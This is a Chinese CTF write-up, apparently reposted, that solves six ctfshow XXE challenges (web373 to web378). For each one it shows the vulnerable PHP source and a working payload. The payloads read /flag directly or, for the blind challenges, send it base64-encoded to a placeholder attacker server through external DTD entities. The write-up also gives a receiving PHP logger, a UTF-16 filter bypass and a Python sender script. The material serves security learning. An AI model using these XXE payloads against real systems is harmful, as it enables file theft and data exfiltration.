ctfshow web入門-XXE
- web373
- 題目描述
- 解題思路
- web374
- 題目描述
- 解題思路
- web375
- 題目描述
- 解題思路
- web376
- 題目描述
- 解題思路
- web377
- 題目描述
- 解題思路
- web378
- 題目描述
- 解題思路
web373
題目描述
- 開X
解題思路
- 題目給出原始碼,一個有回顯的檔案讀取漏洞
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
?>
- 抓包發送如下內容
<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<H3rmesk1t>
<ctfshow>
&xxe;
</ctfshow>
</H3rmesk1t>

web374
題目描述
- 開X
解題思路
- 無回顯的檔案讀取,需要進行外帶
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
- 抓包發送如下內容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
- 在服務器放置
xxe.php和xxe.xml兩個檔案
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新時間:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web375
題目描述
- 開X
解題思路
- 無回顯的檔案讀取,且禁用了版本號,和上面一樣進行外帶不寫版本號即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
- 抓包發送如下內容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
- 在服務器放置
xxe.php和xxe.xml兩個檔案
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新時間:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web376
題目描述
- 開X
解題思路
- 無回顯的檔案讀取,且禁用了版本號,和上面一樣進行外帶不寫版本號即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
- 抓包發送如下內容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
- 在服務器放置
xxe.php和xxe.xml兩個檔案
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新時間:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web377
題目描述
- 開X
解題思路
- 無回顯的檔案讀取,且禁用了版本號和http,和上面一樣進行外帶不寫版本號改成利用 utf-16 編碼即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
- 利用 Python 進行發包
import requests
url = 'http://00edd7b9-7fc6-40fd-937d-deb477902dca.challenge.ctf.show:8080/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
- 在服務器放置
xxe.php和xxe.xml兩個檔案
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新時間:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web378
題目描述
- python X
解題思路
- 登錄框抓個包,發現是回顯 xml 形式,而且是回顯 username 的值,構造 Payload
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>a</password></user>

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299471.html
標籤:其他
上一篇:淺析釣魚網站原理及模擬搭建
下一篇:XSS專題
